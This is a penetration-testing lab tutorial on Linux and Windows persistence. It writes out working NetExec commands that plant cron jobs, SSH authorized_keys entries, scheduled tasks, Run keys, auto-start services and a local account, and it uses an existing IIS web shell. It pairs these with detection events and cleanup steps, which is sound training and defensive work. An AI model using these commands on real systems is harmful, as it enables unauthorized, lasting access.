| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | netexec 1.5.1OpenSSH client on Kali |
| Lab environment | Proxmox lab |
| Cert prep | CompTIA PenTest+ PT0-003 — Domain 5 (Post-exploitation and lateral movement) |
| Privilege | Techniques vary — user-level cron and SSH keys on Linux; Windows service and local account creation need admin (Pwn3d!) on castelblack |
| Scope | Linux cron and SSH authorized_keys on Metasploitable 2; session-scoped systemd user units on Kali (modern Linux); Windows scheduled tasks, registry Run keys, Startup folder context, services, local accounts, and IIS web shells on GOAD-Light. Does not cover WMI subscriptions, Golden Ticket, C2 implants, or lateral movement. |
Initial access gives you a shell for now. Persistence aims to preserve access after events such as reboot, process exit, session loss, or closure of the original exploit path. Some techniques may also survive password changes, depending on how they authenticate and execute. SSH key persistence often outlasts a password rotation; a scheduled task tied to one user context may not.
Pen testers document persistence techniques so blue teams know what to hunt, and so you can demonstrate impact without re-exploiting the same vulnerability every day.
This lesson walks authorized persistence on two lab targets from Kali:
- Metasploitable 2 —
cronand SSHauthorized_keys - GOAD-Light
castelblack— scheduled tasks, registryRunkeys, Windows services, local accounts, and a surviving IIS web shell - Kali (as a lab reference host) —
systemduser-unit pattern for modern Linux session managers
Prerequisites
Finish these labs before you create persistence artifacts:
| Track | What you need | Setup guide | Snapshot |
|---|---|---|---|
| Linux cron / SSH keys | Metasploitable 2 reachable from Kali | VirtualBox lab (192.168.56.127) or MS2 on Proxmox (10.10.10.30) |
ms2-clean |
| Windows tasks / services | GOAD-Light castelblack with admin-capable domain creds |
Deploy GOAD-Light | goad-clean |
| IIS web shell section | Upload shell at /upload/cmd.aspx |
Obtain the IIS upload shell on castelblack | After upload |
Set lab variables on Kali
Export names once per shell session before the quick start commands. These exports last for the current shell only — open a new terminal and re-run the block.
export LINUX_TARGET=10.10.10.30
export WIN_TARGET=10.10.10.22
export DOMAIN_CHILD=north.sevenkingdoms.local
export WIN_USER=eddard.stark
export WIN_PASS='FightP3aceAndHonor!'
export WEBSHELL="http://${WIN_TARGET}/upload/cmd.aspx?cmd="
export PERSIST_KEY=~/persistence-lab/persist_rsa
# VirtualBox host-only lab: export LINUX_TARGET=192.168.56.127On VirtualBox host-only labs, substitute LINUX_TARGET=192.168.56.127. The Windows sections still need GOAD-Light on Proxmox.
Create a folder for disposable SSH keys used in this lesson:
mkdir -p ~/persistence-labPersistence quick start
On Metasploitable 2, a one-line cron job appends a timestamp every minute. That proves the trigger fired without waiting for reboot:
nxc ssh "$LINUX_TARGET" -u msfadmin -p msfadmin -x "(crontab -l 2>/dev/null; echo '* * * * * /bin/date >> /tmp/golinuxcloud-persist.log') | crontab -"SSH 10.10.10.30 22 10.10.10.30 [+] msfadmin:msfadmin Linux - Shell access!
SSH 10.10.10.30 22 10.10.10.30 [+] Executed commandNetExec authenticated over SSH and accepted the crontab edit. Wait one minute and tail /tmp/golinuxcloud-persist.log to confirm execution.
On castelblack, register a minute-based scheduled task through NetExec atexec:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'schtasks /create /f /tn LabPersistGlcMin /tr "cmd.exe /c whoami > C:\Users\Public\persist-minute.txt" /sc minute /mo 1'SMB 10.10.10.22 445 CASTELBLACK [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB 10.10.10.22 445 CASTELBLACK [+] Executed command via atexec
SMB 10.10.10.22 445 CASTELBLACK SUCCESS: The scheduled task "LabPersistGlcMin" has successfully been created.SUCCESS confirms that Task Scheduler registered the persistence artifact. Later sections verify task configuration; whether the action runs depends on the task's execution context.
What persistence means in post-exploitation
Persistence answers: How does access survive when the original exploit path closes? A reverse shell or Meterpreter callback dies when the process ends. Persistence installs a trigger that re-establishes execution later.
Common MITRE mappings you will see in reports:
| Technique | ATT&CK ID | Typical trigger |
|---|---|---|
| Cron / scheduled job | T1053.003 | Time-based or @reboot |
| Windows scheduled task | T1053.005 | Logon, daily, or on idle |
| Registry Run keys | T1547.001 | User logon |
| SSH authorized_keys | T1098.004 | SSH authentication |
| Create account | T1136.001 | New local or domain user |
| Web shell | T1505.003 | HTTP request to uploaded script |
Document every artifact you create in your findings. At minimum, record:
- Name or account (for example
LabPersistGlcMin,glcpersist) - Path or registry hive
- Trigger (logon, cron interval, HTTP request, boot)
- Account context the trigger runs under
Persistence with user vs admin/root privileges
A common search question is which techniques work without elevation. The answer depends on the host, but these patterns hold in most lab and production estates:
- User cron — same Linux user who owns the crontab
- SSH
authorized_keys— same user account whose~/.ssh/authorized_keysyou modify - Shell profile (
~/.bashrc,~/.profile) — same user on login HKCURun keys and per-user Startup folder — current Windows user- Per-user scheduled tasks — often the creating user; admin may be required for some triggers
- Systemd user unit in
~/.config/systemd/user/— same Linux user; runs when that user's systemd session is active (see linger note below) - Systemd unit in
/etc/systemd/system/— root; system-wide boot persistence on modern Linux HKLMRun keys, Windows services, local account creation — local administrator- IIS web shell — depends on upload path and app pool identity, not always admin
Plan persistence around the privilege level you actually hold after initial access.
Linux persistence with cron
Cron is the fastest Linux persistence check when you already have a shell as a normal user. Jobs run as the user who owns the crontab unless you edit /etc/cron.* with root.
Add a lab marker job with NetExec SSH:
nxc ssh "$LINUX_TARGET" -u msfadmin -p msfadmin \
-x "(crontab -l 2>/dev/null | grep -v golinuxcloud-persist; echo '* * * * * /bin/date >> /tmp/golinuxcloud-persist.log') | crontab -"Confirm the entry landed:
nxc ssh "$LINUX_TARGET" -u msfadmin -p msfadmin -x 'crontab -l'SSH 10.10.10.30 22 10.10.10.30 [+] Executed command
SSH 10.10.10.30 22 10.10.10.30 * * * * * /bin/date >> /tmp/golinuxcloud-persist.logWait one cron interval, then read the log. A new line every minute means persistence fired:
sleep 65
nxc ssh "$LINUX_TARGET" -u msfadmin -p msfadmin -x 'tail -2 /tmp/golinuxcloud-persist.log'SSH 10.10.10.30 22 10.10.10.30 [+] Executed command
SSH 10.10.10.30 22 10.10.10.30 Mon Aug 31 11:37:01 EDT 2026This is the full create → trigger → marker pattern you want in a persistence report.
Linux persistence with SSH authorized_keys
Appending your public key to ~/.ssh/authorized_keys is one of the most common Linux persistence techniques. It survives password changes for that account because SSH accepts the key independently of the password.
Metasploitable 2 ships OpenSSH 4.7, which does not accept Ed25519 keys. Generate an RSA key on Kali:
ssh-keygen -t rsa -b 2048 -f "$PERSIST_KEY" -N '' -C 'golinuxcloud-persist-lab'Append the public key through NetExec. Fix home and .ssh permissions first so OpenSSH accepts the file:
PUB=$(cat "${PERSIST_KEY}.pub")
nxc ssh "$LINUX_TARGET" -u msfadmin -p msfadmin \
-x "chmod go-w ~; mkdir -p ~/.ssh; chmod 700 ~/.ssh; grep -q golinuxcloud-persist-lab ~/.ssh/authorized_keys 2>/dev/null || echo '$PUB' >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys; tail -1 ~/.ssh/authorized_keys"SSH 10.10.10.30 22 10.10.10.30 [+] Executed command
SSH 10.10.10.30 22 10.10.10.30 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwdthjD/lI6NlJGx9Dn+3zzOGCWZbPABo/dZCU5S1hhiRsNayhGL/3FZaDxHy7kG/tSAJwvgF8uoZyfdmG4a6hjz0VyLOnaQhuuDG2eSMhX/QhuQnUAZ1twoEoyV7aesB12zWsOKuf9zvTwklox3tOPT2WiPLfSNzf3SVTA6NZ+85hqu77tUoQOZ7EzMEddLr/7DgbxUTV1RawvnVENIXahGrLz4yQxd5MS8wIwUDuHcLAcY7TrpmNRi1dCZeOLS21oxzHHzyKpqjuvTge4eGip6GMHjBsf/JzYQEFfYCMt2FtmbdP2pLr7oiqpO/S1yMkTZY//+dvpLaHfEIb/8y1 golinuxcloud-persist-labLog in with the private key only. Enable legacy RSA algorithms on the client for the old SSH server. If a modern server rejects your RSA key after an upgrade, fix sshd_config or crypto policy instead — see
sshd: ssh-rsa algorithm is disabled.
ssh -i "$PERSIST_KEY" -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
msfadmin@"$LINUX_TARGET" 'echo KEY_LOGIN_OK; hostname'KEY_LOGIN_OK
metasploitableKEY_LOGIN_OK confirms key-based persistence without the account password. Remove the matching line from authorized_keys during cleanup.
Systemd persistence on modern Linux
Metasploitable 2 predates systemd. On current distributions, persistence usually targets one of two locations:
| Path | Scope | Typical privilege |
|---|---|---|
~/.config/systemd/user/*.service |
User-session persistence | Compromised Linux user |
/etc/systemd/system/*.service |
System-wide boot persistence | root |
A user unit is not the same as a boot service. The user's systemd manager normally starts when that user has an active session (SSH login, desktop, and similar). To run a user unit after reboot without an interactive login, administrators often enable linger for that account: loginctl enable-linger USER.
Run the example below as your normal Kali login user, not root, so paths land under your home directory. We captured output from a root SSH session on the lab Kali host; the mechanics are the same, but the symlink appeared under /root/.config/systemd/user/ instead of /home/<user>/.config/systemd/user/.
The unit appends a timestamp to /tmp/persistence-systemd.log:
mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/golinuxcloud-persist.service <<'UNIT'
[Unit]
Description=GOAD lab persistence marker (benign)
After=network.target
[Service]
Type=oneshot
ExecStart=/bin/bash -c '/bin/date >> /tmp/persistence-systemd.log'
[Install]
WantedBy=default.target
UNITReload the user manager, enable the unit, and run it once:
systemctl --user daemon-reload
systemctl --user enable golinuxcloud-persist.service
systemctl --user start golinuxcloud-persist.serviceCreated symlink '/root/.config/systemd/user/default.target.wants/golinuxcloud-persist.service' → '/root/.config/systemd/user/golinuxcloud-persist.service'.The symlink path shows this run used root's user manager. On a normal account you would see /home/<user>/.config/systemd/user/... instead.
Read the marker log:
tail -2 /tmp/persistence-systemd.logMon Aug 31 07:21:09 PM UTC 2026That proves the unit executed once in the active user session. It does not, by itself, prove boot persistence without linger or a system unit.
System-wide persistence on a server uses /etc/systemd/system/*.service, an ExecStart= line pointing at your payload or script, WantedBy=multi-user.target, and systemctl enable (as root). That path starts at boot independent of any single user session.
Other Linux persistence locations
Report these when they appear on assessments even if this lesson does not demo each one on MS2:
~/.bashrc,~/.profile, or/etc/profile.d/— commands on interactive login/etc/rc.local— legacy boot hook on older distributions/etc/init.d/scripts — SysV init on very old hosts
Windows scheduled task persistence
Scheduled tasks survive reboot and can run on a schedule, at logon, or at startup. Creating tasks usually needs local administrator or delegated task-creation rights.
Time-based task (lab validation path)
A minute-based task is easier to validate remotely than ONLOGON, which needs an interactive sign-in:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'schtasks /create /f /tn LabPersistGlcMin /tr "cmd.exe /c whoami > C:\Users\Public\persist-minute.txt" /sc minute /mo 1'SMB 10.10.10.22 445 CASTELBLACK SUCCESS: The scheduled task "LabPersistGlcMin" has successfully been created.Query the task for your report:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'schtasks /query /tn LabPersistGlcMin /fo LIST'In our GOAD run, task registration succeeded over atexec, but the marker file did not always appear when we forced /run remotely. Treat schtasks /query and Task Scheduler operational logs (Event ID 200/201) as validation when interactive or RDP logon is available. Cron and SSH keys remain the clearest remote proof-of-execution examples in this article.
Logon-triggered task
Logon tasks are common in real engagements:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'schtasks /create /f /tn LabPersistGlcLogon /tr "cmd.exe /c echo logon-task-persist > C:\Users\Public\persist-schtask.txt" /sc onlogon /ru eddard.stark'This verifies the autorun artifact was registered. The marker file fires on the next interactive logon by eddard.stark, not during remote-only atexec sessions.
Windows Registry Run key and Startup folder persistence
HKCU\Software\Microsoft\Windows\CurrentVersion\Run executes a command at user logon without creating a visible scheduled task. HKLM\...\Run applies machine-wide and needs elevation.
| Hive | Scope | Typical rights needed |
|---|---|---|
HKCU\...\Run |
Current user only | Same user session |
HKLM\...\Run |
All users on the host | Local administrator |
Add a per-user Run value:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabPersistGlc /t REG_SZ /d "cmd.exe /c echo registry-run-persist > C:\Users\Public\persist-run.txt" /f'SMB 10.10.10.22 445 CASTELBLACK The operation completed successfully.Verify the value defenders hunt in Autoruns or registry monitoring:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabPersistGlc'SMB 10.10.10.22 445 CASTELBLACK LabPersistGlc REG_SZ cmd.exe /c echo registry-run-persist > C:\Users\Public\persist-run.txtThe REG_SZ value stores the command Windows runs at logon. This step verifies registration only; the marker file appears after the next interactive logon.
Another logon-triggered option is the per-user Startup folder at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup. It serves the same broad persistence goal as an HKCU Run value but leaves a filesystem shortcut or script instead of a registry value. Defenders watch both locations.
Windows service persistence
A properly configured Windows service with start= auto can start at boot. Service creation maps to MITRE T1543.003 and typically requires local administrator.
This lab proves service registration and autostart configuration only. Because cmd.exe is not a service-aware executable, the example is not intended to demonstrate a healthy long-running service or reliable boot execution. Real engagements use proper service binaries; we keep cmd.exe here to show the sc create artifact defenders hunt.
Register a harmless marker service on castelblack:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'sc create LabPersistGlcSvc binPath= "cmd.exe /c echo service-persist > C:\Users\Public\persist-service.txt" start= auto DisplayName= "GOAD Lab Persist Demo"'SMB 10.10.10.22 445 CASTELBLACK [SC] CreateService SUCCESSQuery service state for your report:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'sc query LabPersistGlcSvc'SMB 10.10.10.22 445 CASTELBLACK SERVICE_NAME: LabPersistGlcSvc
SMB 10.10.10.22 445 CASTELBLACK TYPE : 10 WIN32_OWN_PROCESS
SMB 10.10.10.22 445 CASTELBLACK STATE : 1 STOPPEDSTATE : STOPPED with start= auto documents that the service is registered for automatic start. Our lab did not demonstrate a successful boot-time start of this cmd.exe stub. sc start may return error 1053 because cmd.exe exits immediately and is not a valid service host. Remove the registration with sc delete LabPersistGlcSvc during cleanup.
Windows account persistence
A new local user with a known password is blunt persistence. It is useful in lab reporting when you need a backup identity that survives the original foothold account being disabled.
Create a local account on castelblack:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'net user glcpersist "LabP@ssw0rd!" /add /comment:"GOAD lab persistence demo"'SMB 10.10.10.22 445 CASTELBLACK The command completed successfully.Confirm the account exists and note group membership. Our run placed glcpersist in the local Users group only, not Administrators:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" \
--exec-method atexec -x 'net user glcpersist'SMB 10.10.10.22 445 CASTELBLACK User name glcpersist
SMB 10.10.10.22 445 CASTELBLACK Comment GOAD lab persistence demo
SMB 10.10.10.22 445 CASTELBLACK Account active Yes
SMB 10.10.10.22 445 CASTELBLACK Local Group Memberships *UsersAdding the account to Administrators requires the same elevation you used for net user /add. Domain persistence through new AD users is a separate, higher-impact path. Document it only when your RoE covers directory object creation.
Web shell persistence on IIS
When the web server allows uploads into a reachable directory, a script such as cmd.aspx becomes persistence. Every HTTP request is remote code execution without a separate C2 channel.
The Windows privilege escalation lesson left cmd.aspx under C:\inetpub\wwwroot\upload\ on castelblack. Confirm it still executes:
curl -s "${WEBSHELL}whoami"<pre>iis apppool\defaultapppool
</pre>The web shell runs as the IIS application pool identity. It persists until someone deletes the file or blocks execution in IIS. This lesson reuses the existing lab artifact rather than uploading a new shell.
Detection, reporting, and cleanup
Defenders hunt persistence through several log sources:
- Scheduled task creation (Event ID 4698) and execution (200/201)
- New or modified Windows services (
sc.exe, Event ID 7045) - Registry
Runmodifications and Sysmon registry events - New local users (4720)
- SSH
authorized_keysand cron changes on Linux - Web-server file integrity monitoring on
inetpubupload paths
List every artifact in your report with enough detail for remediation.
| Artifact (this lab) | Remove with |
|---|---|
| Cron on Metasploitable | crontab -l | grep -v golinuxcloud-persist | crontab - and rm -f /tmp/golinuxcloud-persist.log |
SSH key in authorized_keys |
Edit ~/.ssh/authorized_keys and remove the golinuxcloud-persist-lab line |
| Systemd user unit on Kali | systemctl --user disable --now golinuxcloud-persist.service and delete the unit file |
LabPersistGlcMin / LabPersistGlcLogon tasks |
schtasks /delete /tn <name> /f |
| Registry Run value | reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabPersistGlc /f |
LabPersistGlcSvc service |
sc delete LabPersistGlcSvc |
Local user glcpersist |
net user glcpersist /delete |
cmd.aspx web shell |
Delete from inetpub\wwwroot\upload only when the lab exercise ends |
Run Linux cleanup from Kali:
nxc ssh "$LINUX_TARGET" -u msfadmin -p msfadmin \
-x "crontab -l 2>/dev/null | grep -v golinuxcloud-persist | crontab -; rm -f /tmp/golinuxcloud-persist.log; sed -i '/golinuxcloud-persist-lab/d' ~/.ssh/authorized_keys"Remove the Windows artifacts in one remote command:
nxc smb "$WIN_TARGET" -u "$WIN_USER" -p "$WIN_PASS" -d "$DOMAIN_CHILD" --exec-method atexec \
-x 'schtasks /delete /tn LabPersistGlcMin /f & schtasks /delete /tn LabPersistGlcLogon /f & reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabPersistGlc /f & sc delete LabPersistGlcSvc & net user glcpersist /delete'Restore GOAD-Light from snapshot when multiple lessons left overlapping artifacts. The GOAD deploy guide documents goad-clean restore points for that case.
Summary
Linux and Windows persistence techniques keep authorized access alive after the original exploit path closes. On Metasploitable 2 we proved execution with user cron and RSA SSH authorized_keys. On Kali we registered a benign systemd user unit to show session-scoped unit files on modern Linux. On GOAD-Light castelblack we registered scheduled tasks, an HKCU Run value, a Windows service, a local user, and confirmed the existing IIS cmd.aspx web shell still answered HTTP requests.
Each technique maps to a distinct MITRE category and leaves different forensic traces. Document names, paths, triggers, and privilege requirements in your report, then remove or snapshot-revert lab artifacts when the exercise ends. Pair this lesson with lateral movement when you need to reach other hosts, not just survive on the current one.
References
- MITRE ATT&CK T1547 — Boot or Logon Autostart Execution
- MITRE ATT&CK T1053 — Scheduled Task/Job
- MITRE ATT&CK T1543.003 — Windows Service
- MITRE ATT&CK T1098.004 — SSH Authorized Keys
- MITRE ATT&CK T1505.003 — Web Shell
- Microsoft — schtasks
- Microsoft — sc create
- cron(8) — Debian manpages
Frequently Asked Questions
What is the difference between a shell and persistence?
A shell is active access right now: SSH, WinRM, Meterpreter, or a reverse callback. Persistence is a mechanism that recreates access later through cron, SSH keys, scheduled tasks, Run keys, services, accounts, or web shells. You often establish persistence after you have a shell, not instead of one.
Which persistence techniques work without root or administrator access?
User cron, SSH authorized_keys, shell profiles, HKCU Run keys, the per-user Startup folder, and systemd user units in ~/.config/systemd/user/ typically work at the privilege level of the compromised account. Systemd units under /etc/systemd/system/, HKLM Run keys, Windows services, and local account creation generally need elevation.
What is the difference between cron and systemd persistence on Linux?
Cron schedules commands for a user crontab or system cron directories. It is the right tool on older hosts such as Metasploitable 2. Systemd manages services and timers on modern distributions through unit files and systemctl enable.
A user unit under ~/.config/systemd/user/ persists for that user's systemd session and may need loginctl enable-linger to survive reboot without a login. A system unit under /etc/systemd/system/ is the root-level boot persistence path. Cron does not depend on a user session manager in the same way.
Do I need administrator rights to persist on Windows?
It depends on the technique. HKCU Run keys and many per-user scheduled tasks work with the compromised user's rights. Creating machine-wide HKLM Run values, Windows services, or local administrators usually requires elevation, which NetExec shows as (Pwn3d!) on SMB checks.
Will defenders see scheduled task or service persistence?
Yes. Windows logs task creation (4698) and service installation (7045). EDR products also monitor schtasks.exe, sc.exe, and suspicious Run registry writes.
Should I delete the cmd.aspx web shell after this lesson?
Only when no other lab module needs it. The Windows privilege escalation and RAT lessons reference the same upload path. Coordinate cleanup with your full GOAD exercise plan or restore from snapshot.

